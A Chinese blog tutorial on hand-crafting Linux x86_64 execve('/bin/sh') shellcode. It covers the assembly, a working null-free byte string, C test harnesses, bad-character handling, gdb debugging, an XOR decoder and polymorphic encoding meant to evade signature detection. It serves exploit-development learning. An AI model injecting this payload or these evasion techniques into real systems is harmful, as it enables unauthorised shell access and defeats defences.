想搞懂shellcode,光靠网上现成的payload生成器是远远不够的。生成器给你一段能用的字节串,但你不知道它为什么能用、不知道哪几个字节是硬编码、更不知道换一个场景为什么就崩了。手搓shellcode,就是把这段所谓的"神秘字节"从头到尾拆开揉碎,一行汇编、一个字节地写出来,彻底搞明白CPU到底在执行什么。这篇文章就是我自己在折腾过程中的完整记录,从最基础的原理讲到坏字符处理,再到调试验证,全程实操。
1. 工具遍地都是,为什么还要自己动手搓
先说个现象。现在随便一个漏洞利用框架或者在线工具,敲一行命令就能吐出一段现成的shellcode,甚至还能自动编码、自动消除坏字符。我刚入门时也是这么干的,直到某次实际测试,工具生成的那段payload死活弹不回来shell,我对着十六进制字节串一头雾水,完全不知道从哪里排查。那之后我就下决心,必须亲手把shellcode从零写一遍。
1.1 "手搓"到底是在搓什么
手搓shellcode,本质上就是在没有高级语言、没有链接器、没有任何外部依赖的情况下,直接写出一段能让CPU执行的机器指令。通俗一点说,高级语言是写作文,编译器帮你润色成八股文;手搓shellcode是直接写八股文里的每一个字,多一笔少一笔都不行。
这段机器指令有一个特性:它没有"壳",没有ELF文件头,没有重定位表,被注入到目标进程后直接就是一段裸的二进制数据被CPU取指执行。正因为它如此原始,你才能从根本上理解程序执行、内存布局和系统调用的真实面貌。
1.2 生成器掩盖了哪些关键细节
现成工具虽然方便,但它掩盖了三个手搓时必须面对的核心问题:
第一,指令的字节编码。同样是mov eax, 1,写成b8 01 00 00 00和6a 01 58效果一样,但字节长度和内容完全不同。后者短得多,而且不包含空字节,这在很多漏洞场景下是生死攸关的差异。
第二,系统调用编号和约定。Linux x86和x86_64下,execve的系统调用号分别是11和59,传参寄存器规则也完全不一样。工具生成器直接跳过了这些底层知识,你拿到手只是结果,不是理解。
第三,坏字符过滤。真实漏洞环境往往会对输入做过滤,比如strcpy遇到\x00就截断,那shellcode里一个空字节都不允许出现。工具虽然能帮你编码,但编码后的体积膨胀、解码器在内存中的执行流程,都需要你理解才能正确部署。
所以我的建议是:工具照用,但一定要有"手搓"的能力兜底。遇到问题时,能一眼看懂字节串、能手动改,才算是真正会了。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 手搓前的最后一块拼图:从C代码到机器码的映射
手搓shellcode不是凭空造字节,而是从你脑子里的逻辑出发,一步步翻译成CPU听得懂的指令。这个翻译过程的底层逻辑就两条:CPU在干什么,以及操作系统怎么把活儿交给内核。
2.1 明确目标:我们想让程序执行什么
先定一个小目标:让目标进程执行execve("/bin/sh", NULL, NULL),也就是弹一个shell。这是最经典的入门payload,麻雀虽小五脏俱全。
用C语言表达就是:
c复制#include <unistd.h>
int main() {
char *args[] = {"/bin/sh", NULL};
execve("/bin/sh", args, NULL);
return 0;
}
C语言版本的execve是glibc封装,真正到内核层面,Linux的系统调用是通过中断(x86的int 0x80)或专用指令(x86_64的syscall)触发的。手搓shellcode,就是绕过glibc,直接跟内核对话。
2.2 系统调用号与寄存器约定
内核收到系统调用后,靠一个整数编号来区分具体要做什么。这个编号就是系统调用号。
| 系统调用 | x86 调用号 | x86_64 调用号 |
|---|---|---|
| execve | 11 (0x0b) | 59 (0x3b) |
| exit | 1 | 60 |
| write | 4 | 1 |
传参规则两块平台也不同:
- x86(32位):参数从栈上传递,调用号放
eax,参数依次是ebx、ecx、edx、esi、edi,最后执行int 0x80跳进内核。 - x86_64(64位):参数优先用寄存器传递,调用号放
rax,参数依次是rdi、rsi、rdx、r10、r8、r9,最后执行syscall进入内核。
所以,execve("/bin/sh", NULL, NULL)翻译成系统调用语言就是:
- x86:
eax=11,ebx="/bin/sh"字符串地址,ecx=NULL,edx=NULL,执行int 0x80 - x86_64:
rax=59,rdi="/bin/sh"字符串地址,rsi=NULL,rdx=NULL,执行syscall
2.3 从汇编到字节码:一条指令的两种命运
这里要引入一个手搓shellcode的基本功:知道一条汇编指令会被编码成什么字节。以x86_64为例:
asm复制mov al, 59
al是rax的最低8位寄存器。由于我们只需要把系统调用号59放进rax,并且rax的高位已经清0,所以只动低8位就够了。这条指令的机器码是b0 3b,这里0x3b就是59的十六进制。两个字节,干净利落。
但同样的逻辑,如果写成:
asm复制mov rax, 59
编码出来是48 c7 c0 3b 00 00 00,一共7个字节,中间塞了4个空字节\x00。这在strcpy场景下会直接截断,整个payload作废。
这就是手搓的乐趣所在:同一个功能,用不同的指令写法,字节长度和内容天差地别。而你要在理解CPU行为的前提下,挑出最短、最干净、最适合当前环境的编码。
3. 用execve落地一个可运行的例子:硬编码与短指令的平衡
现在开始实战。我以x86_64为例,手写一段能弹shell的shellcode,然后一步步验证。整个过程会用到nasm汇编器、objdump反汇编工具和一个简单的C语言测试壳。
3.1 第一版:怎么把字符串"喂"给寄存器
先看最核心的一个问题:/bin/sh这个字符串在shellcode里怎么存放。
字符串是一串字节,在内存中必须连续存放。但不能在代码段里用类似.string的方式直接定义,因为最终我们要提取的是纯机器指令,不能依赖一个独立的只读数据段。解决办法有两种:
方式一:用栈来构造字符串。 堆栈是可写的,而且push指令可以一次压入8字节。先把字符串按64位小端序分成几段,逐段压栈,然后让rsp指向栈顶字符串的开头。这个思路的核心是:rsp就是字符串地址。
/bin/sh在内存中的字节序是2f 62 69 6e 2f 73 68 00。按小端序,如果要把这8个字节当作一个立即数压栈,需要把字节顺序倒过来,变成00 68 73 2f 6e 69 62 2f,也就是十六进制数0x0068732f6e69622f。
但是等等,这个数里含有一个\x00,不能直接出现在shellcode里。所以通常的做法是在/bin/sh后面补一个多余的斜杠,变成//bin/sh,这样8字节是2f 2f 62 69 6e 2f 73 68,全部非空,正好8字节。Linux会把多个连续斜杠当作一个斜杠处理,所以//bin/sh和/bin/sh效果完全一样。
方式二:直接推进寄存器。 如果是32位环境且字符串较短,也可以把字符串分段放到寄存器里再用push压栈。但在64位下,最方便的还是上面这种"构造8字节立即数再压栈"的办法。
3.2 第一版shellcode:逐行解释
完整的汇编如下:
asm复制section .text
global _start
_start:
xor rdx, rdx ; 48 31 d2 ; 清空rdx,作为execve的第三个参数NULL
xor rsi, rsi ; 48 31 f6 ; 清空rsi,作为execve的第二个参数NULL
mov rbx, 0x68732f6e69622f2f ; 48 bb 2f2f62696e2f7368 ; 把"//bin/sh"送进rbx
push rbx ; 53 ; 压栈,字符串进入内存
push rsp ; 54 ; 把rsp的值压栈
pop rdi ; 5f ; 弹出到rdi,rdi指向"/bin/sh"字符串
mov al, 59 ; b0 3b ; 系统调用号59
syscall ; 0f 05 ; 触发系统调用
逐行说:
xor rdx, rdx:清空rdx。很多人问为什么不直接mov rdx, 0,因为mov rdx, 0编码是48 c7 c2 00 00 00 00,带4个空字节。xor编码只有3个字节,而且没有空字节。xor rsi, rsi:同理,清空rsi,作为execve的第二个参数NULL。mov rbx, 0x68732f6e69622f2f:把8字节立即数放进rbx,这8字节就是字符串"//bin/sh"的小端序表示。push rbx:把这8字节压到栈上,现在栈顶正好是//bin/sh的ASCII码。push rsp、pop rdi:这一组操作的目的是让rdi指向字符串。push rsp把rsp此刻的值压栈,然后pop rdi将它弹出到rdi,最终rdi就是栈顶字符串的地址。这里也可以用mov rdi, rsp,但push rsp; pop rdi正好3个字节,与mov rdi, rsp的48 89 e7(3字节)一样,选哪个都行,我习惯用push/pop,因为读起来更像"取当前栈指针当参数"。mov al, 59:因为rax已经被之前的xor清空(等等,这里的xor rdx, rdx没有清rax,严格说我们并没用xor rax, rax清rax。所以在真正写的时候,我会在最初加一条xor rax, rax,或者直接用push 59; pop rax。为了严谨,下面会做个修正版。直接用mov al, 59时,如果rax高位残留垃圾,内核会读到错误调用号。要保证rax高位为0,应该在开头加xor rax, rax。)syscall:进入内核执行系统调用。
注意:
mov al, 59只保证al寄存器的值是59,但如果rax的高位不知道是什么,系统调用号就可能是0x??????????????3b,内核会认为这是一个不存在的调用号,然后返回错误。所以严谨的做法是先用xor rax, rax清空整个rax。
3.3 修正版:真正能跑的x86_64 execve
把上面的问题修正后,完整的可运行版如下:
asm复制section .text
global _start
_start:
xor rax, rax ; 48 31 c0 ; rax清零
xor rdx, rdx ; 48 31 d2 ; 第三个参数 NULL
xor rsi, rsi ; 48 31 f6 ; 第二个参数 NULL
mov rbx, 0x68732f6e69622f2f ; //bin/sh 小端序
push rbx ; 53
push rsp ; 54
pop rdi ; 5f ; rdi = 指向 "//bin/sh"
push rax ; 50 ; 字符串后面的结尾空字符(其实可以用xor清零代替,但压栈更保险)
push rbx ; 53
push rsp ; 54
pop rdi ; 5f
mov al, 59 ; b0 3b
syscall ; 0f 05
等等,这一段中间的push rax其实没必要。//bin/sh正好8字节,压栈后字符串后面跟随的栈上数据是什么无所谓,因为execve会一直读到/0终止符。但栈上原本的值可能不是0,所以为了保险,我更倾向于让rdx、rsi都已经是0,然后字符串后面再压一个0。不过实际上,execve对argv和envp传NULL是合法的,而字符串本身需要以\x00结尾。如果栈顶后8字节不是0,内核就会越界读取字符串,直到碰到0。
这就引出一个关键细节:压栈的8字节是2f2f62696e2f7368,也就是"//bin/sh"恰好8字节,没有空终止符。在这8字节后面,栈上旧数据的第一个字节是多少不可控。如果恰好不是0,字符串就不会在正确位置终止。
安全的做法是先压一个rax(此时rax为0),作为字符串终止符,然后再压rbx字符串,这样栈上布局就是:字符串 + 0终止符,rsp指向字符串开头。修正后的最终版:
asm复制section .text
global _start
_start:
xor rax, rax ; 48 31 c0 ; rax清零,同时后面作为字符串终止符
xor rdx, rdx ; 48 31 d2 ; 第三个参数 NULL
xor rsi, rsi ; 48 31 f6 ; 第二个参数 NULL
mov rbx, 0x68732f6e69622f2f ; //bin/sh 小端序
push rax ; 50 ; 压入0作为字符串终止符
push rbx ; 53 ; 压入字符串
push rsp ; 54
pop rdi ; 5f ; rdi = 指向 "//bin/sh"
mov al, 59 ; b0 3b ; 系统调用号
syscall ; 0f 05
现在rax已经清0,rdx、rsi也是0,rdi指向字符串缓冲区,完美满足execve的参数要求。
3.4 编译、链接、提取字节码
用nasm编译并链接这段汇编,生成一个可执行文件:
bash复制nasm -f elf64 -o shellcode.o shellcode.asm
ld -o shellcode shellcode.o
运行一下,确认能弹shell:
bash复制./shellcode
如果看到$提示符,说明功能正确。
接下来提取纯机器码。用objdump反汇编确认字节序列:
bash复制objdump -d shellcode
输出大致是:
code复制0000000000401000 <_start>:
401000: 48 31 c0 xor %rax,%rax
401003: 48 31 d2 xor %rdx,%rdx
401006: 48 31 f6 xor %rsi,%rsi
401009: 48 bb 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rbx
401010: 2f 73 68
401013: 50 push %rax
401014: 53 push %rbx
401015: 54 push %rsp
401016: 5f pop %rdi
401017: b0 3b mov $0x3b,%al
401019: 0f 05 syscall
手动把字节串连起来:
code复制48 31 c0 48 31 d2 48 31 f6 48 bb 2f 2f 62 69 6e 2f 73 68 50 53 54 5f b0 3b 0f 05
一共25个字节,不含任何空字节。这就是一份可以直接用于注入的x86_64 execve shellcode。要说简洁,这个版本已经很能打了。
4. 坏字符是手搓的第一道坎:明明正确的指令却被丢弃
拿到一份没有空字节的payload只是第一步。真实漏洞利用中,目标环境往往对输入字节有更严格的白名单或黑名单限制,这就是常说的坏字符限制。
4.1 为什么空字节这么碍事
最常见也最致命的是\x00。很多字符串处理函数(strcpy、sprintf、gets等)把\x00当作字符串结束标志,一旦shellcode中间出现一个空字节,后续字节全部被丢弃。比如mov rax, 59编码为48 c7 c0 3b 00 00 00,其中4个空字节会让整个注入彻底失败。
规避空字节最直接的手段就是换指令。手动构造一条功能相同但字节序列不含0的指令。比如:
| 功能 | 含空字节的写法 | 不含空字节的写法 |
|---|---|---|
| rax = 0 | mov rax, 0 (48 c7 c0 00 00 00 00) |
xor rax, rax (48 31 c0) |
| rbx = 某个大数 | mov rbx, 0x0068732f6e69622f (48 bb ... 00 ...) |
把字符串改成"//bin/sh",避免内部0 |
| eax = 11 | mov eax, 11 (b8 0b 00 00 00) |
push 11; pop rax (6a 0b 58) 或 mov al, 11 (b0 0b) |
手搓过程中,要时刻盯着即将生成的字节,凡是出现0就要停下来思考:能不能用xor、用push/pop、用lea换一种写法。
4.2 不只是空字节:换行、回车、引号等各类过滤
有些场景过滤规则更复杂。比如基于栈溢出输入时,目标程序可能过滤换行符(\x0a)、回车符(\x0d),甚至把单引号、双引号视为特殊字符。遇到这种情况,常用的思路有:
一是等价的短指令替换。syscall的编码0f 05,如果0x0f被过滤,就麻烦了。这种情况在Linux x86_64下没有直接替代品,只能考虑走int 0x80兼容模式,或者用别的系统调用链绕过去。
二是编码器/解码器。把你真正要执行的payload通过异或、加法等变换成不含坏字符的字节序列,然后在运行时先执行一小段解码器,把原始payload还原到内存里,再跳过去执行。这种staged方式会增加shellcode体积,但能有效绕过多数字节过滤。
三是调整字符串内容。比如/bin/sh里的/(0x2f)如果被过滤,可以换成\x2f的编码,配合解码器,或者用sh的路径变体,比如用/bin//sh、/usr/bin/sh,但后者长度长得多。
4.3 手搓时的"字节审查"习惯
我每次手写完一段shellcode,在提取机器码之后,会强制自己做一个动作:把整段字节串从头到尾扫描一遍,对照当前环境的过滤规则,逐个字节确认。这个习惯救了我很多次。不要指望一次写对,也不要完全相信工具的输出。
一个非常实用的辅助方法是:把字节串丢进一个脚本里,让它打印出每个字节并标注是否在黑名单中。写个Python就够:
python复制shellcode = bytes([0x48,0x31,0xc0,0x48,0x31,0xd2,0x48,0x31,0xf6,
0x48,0xbb,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,
0x68,0x50,0x53,0x54,0x5f,0xb0,0x3b,0x0f,0x05])
bad = {0x00, 0x0a, 0x0d}
for i, b in enumerate(shellcode):
mark = " <-- BAD" if b in bad else ""
print(f"{i:2d}: 0x{b:02x}{mark}")
在写字节过滤规则时,我倾向于把坏字符列表当作文档撰写:先整理环境允许的字节集合,再反推哪些指令需要特殊处理。这一步看似琐碎,却是从"能跑"到"能在目标环境跑"的分水岭。
5. 调试shellcode的完整链路:从段错误到反向验证
手搓shellcode的过程,必然伴随着大量的段错误和崩溃。那些崩溃不是白崩的,每一次报错背后都藏着一个可学习的细节。你要做的不是瞎试,而是用一套完整的调试链路,精确找到问题所在。
5.1 用C语言测试壳跑起来
提取出纯字节串后,最常用的验证方式是用一个C语言测试壳:
c复制#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6"
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73"
"\x68\x50\x53\x54\x5f\xb0\x3b\x0f\x05";
int main() {
printf("Shellcode length: %lu\n", strlen(shellcode));
((void(*)())shellcode)();
return 0;
}
注意,不能直接在上面这种main里用strlen去量shellcode长度,因为shellcode中间万一有\x00,长度就会判断错误。实际项目中我建议把shellcode定义成数组并显式指定长度,或者用sizeof(shellcode) - 1,确保不依赖strlen。
编译运行:
bash复制gcc -z execstack -o test_shellcode test_shellcode.c
./test_shellcode
-z execstack是为了让栈可执行,否则现代Linux默认的NX保护会让跳转到栈上执行的shellcode直接段错误。
5.2 用gdb单步追踪寄存器状态
如果shellcode没有弹shell而是崩溃了,第一步不是猜,而是用gdb看现场:
bash复制gdb ./test_shellcode
break main
run
stepi
info registers
每执行一条指令,检查rax、rdi、rsi、rdx是否符合预期。特别是执行syscall之前,一定要确认:
rax= 59 (0x3b)rdi指向的内存,读出来确实是字符串/bin/sh或以//bin/sh开头rsi= 0rdx= 0
一个小技巧:在syscall这一行前打断点,然后用gdb检查:
bash复制x/s $rdi
这条命令会以字符串形式打印rdi指向的内存。如果看到//bin/sh,说明字符串构造成功;如果看到乱码或者空串,说明压栈顺序或者寄存器赋值有问题。
5.3 从"能跑"到"合身":验证在真实注入场景中的可用性
单独在测试壳里能跑,不代表在真实漏洞场景里一定能用。这里有两个关键差异:地址未知和环境限制。
第一,shellcode里的指令不依赖绝对地址,全部用相对寻址或栈指针来定位,这已经是最稳妥的。只要rsp可写,字符串就能构造成功。但在栈不可执行的场景下,需要配合ROP链把执行流跳到可执行内存区,测试壳里就要换成mmap分配可执行内存的方式:
c复制#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
unsigned char shellcode[] =
"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6"
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73"
"\x68\x50\x53\x54\x5f\xb0\x3b\x0f\x05";
int main() {
void *mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)();
return 0;
}
第二,坏字符过滤。测试壳里可以跑,但放到strcpy漏洞里,中间任何一个\x0a或者\x00都会导致截断,这时候就需要回到上一节的方法,做编码处理。
5.4 反向验证:拿反汇编结果对照意图
调试过程中,还有一个容易被忽略的验证手段:把提取出来的机器码反汇编,看它是否跟你写的汇编完全一致。
bash复制echo -n '4831c04831d24831f648bb2f2f62696e2f73685053545fb03b0f05' | xxd -r -p > sc.bin
objdump -D -b binary -m i386:x86-64 sc.bin
输出应该和你最初写的汇编指令逐行对应。如果发现反汇编结果和你预期不一样,大概率是某个立即数的小端序写反了,或者寄存器的字节顺序弄错了。比如mov rbx, 0x68732f6e69622f2f,如果你写成了0x2f2f62696e2f7368(把字节序搞反),压栈后字符串就会变成/hs/nib//,完全不可用。
所以每次提取完机器码,我都会做一次"逆流程"验证:写汇编 -> 编译 -> 提取字节串 -> 反汇编 -> 对比原始汇编。这套闭环能筛掉绝大多数低级错误。
6. 手搓的进阶思路:从固定payload到可变形编码
当你能够徒手写出这一段execve shellcode,并且理解每一字节的含义之后,就可以进入进阶阶段了。这个阶段的核心问题变成了:当目标环境对字节有一套更苛刻的约束时,怎么让payload活下来?
6.1 异或编码器的设计思路
一个经典做法是字节异或编码。比如选择单字节密钥0xaa,把原始shellcode的每个字节都与0xaa异或,得到一段新的字节序列。只要异或后的序列通过坏字符过滤,就可以把它作为"包裹层"注入,并附带一段解码器。
解码器的工作流程是:
- 定位编码后payload的内存地址
- 用固定循环对每个字节执行
xor al, 0xaa - 循环结束后跳转到payload起始地址
用汇编写一个x86_64的解码器原型:
asm复制; rsi 指向编码后shellcode内存
; rcx 为原始shellcode长度
decoder:
xor rax, rax
decode_loop:
mov al, byte [rsi + rcx - 1]
xor al, 0xaa
mov byte [rsi + rcx - 1], al
loop decode_loop
jmp rsi
这只是一个示意。真正在使用时,需要把原始shellcode和解码器拼接在一起,并且保证解码器自身的字节也符合过滤要求。这个"解码器自身不含坏字符"的约束,往往比payload本身的编码更费心思。
6.2 为什么多态shellcode总在变化
如果每次漏洞利用都发送同一段shellcode,基于签名的防护设备很快就能识别出特征。多态shellcode的思路是:每次生成payload时,使用不同的解码器结构、不同的编码密钥、不同的指令排列顺序,但解码后落地的原始shellcode功能完全一致。这样,网络层看到的流量特征每次都不同,静态签名基本失效。
手搓多态shellcode的关键在于实现一个"生成器":它不是写死一段字节,而是先通过随机数决定编码密钥,再按密钥编码payload,然后动态拼装一个对应的解码器。写到这里,你会发现手搓shellcode的终点并不是记住某个固定的字节序列,而是建立一套"我可以动态生成定制化payload"的能力。
我见过有人写了一套基于模板的生成器,每次利用前会先随机挑选寄存器、随机挑选编码参数、甚至在解码器里插入若干条NOP和垃圾指令。虽然体积比固定payload膨胀了30%到50%,但在绕过检测上效果显著。这套东西的原理并不神秘,核心就是你对指令编码的精通程度。
6.3 编码后的测试流程:永远不要跳过全链路验证
编码后payload更容易出问题,因为多了一层解码逻辑。我遇到过好几次编码后的字节串反汇编没问题,但跑到真实环境就是段错误。原因千奇百怪:解码器的loop指令用了rcx,但rcx在进入解码器前已经被污染;或者编码后payload长度被计算错了一位,解码到最后差一个字节不完整。
所以我的建议是,把所有编码生成的payload都走一遍第5节的完整调试链路:测试壳跑通 -> gdb单步 -> 确认解码后的内存内容和原始shellcode完全相同 -> 再放进目标场景。不要因为编码器生成了"看起来没问题"的字节就直接丢出去,这一步往往决定利用能不能成功。
6.4 手搓shellcode带给你的长期收益
说了这么多,手搓shellcode到底值不值得花时间?我的回答是:值,而且非常值。它带给你的不是一段能用的payload,而是对程序执行本质的理解。当你在分析一个漏洞时,你能准确判断"这段输入会被CPU如何解读";当你看到一个堆溢出时,你能快速想到怎么构造ROP链跳到可控内存;当你调试一个莫名其妙的崩溃时,你能在寄存器层面找到根本原因。
这些能力,在只看工具生成结果的前提下是不可能建立的。手搓一次、崩一次、调试一次、再搓一次,这个过程本身就是最好的训练。等你能默写出x86和x86_64两套体系下常见的系统调用封装,能一句话解释清楚push rsp; pop rdi为什么能拿到字符串地址,能在咖啡杯见底之前写出一段不依赖任何工具的完整payload时,你才算真正跨过了"会用工具"到"懂原理"之间的那道门槛。
最后再分享一个小技巧:手搓shellcode时可以准备一个专门的速查表,把常用指令的机器码、寄存器编码规则、系统调用号都列上去。我在一开始写的时候,每写一条指令都要去翻手册,后来写得多了,很多编码都成了本能反应。这个速查表不用很复杂,本质上是一个帮你快速检索"某个功能最省的指令写法"的表格,但它能极大提升手搓效率。我自己的速查表就是一个简单的文本文件,从xor rax, rax到syscall,涵盖了大部分需要手写的情况,你也可以按自己的习惯整理一份。
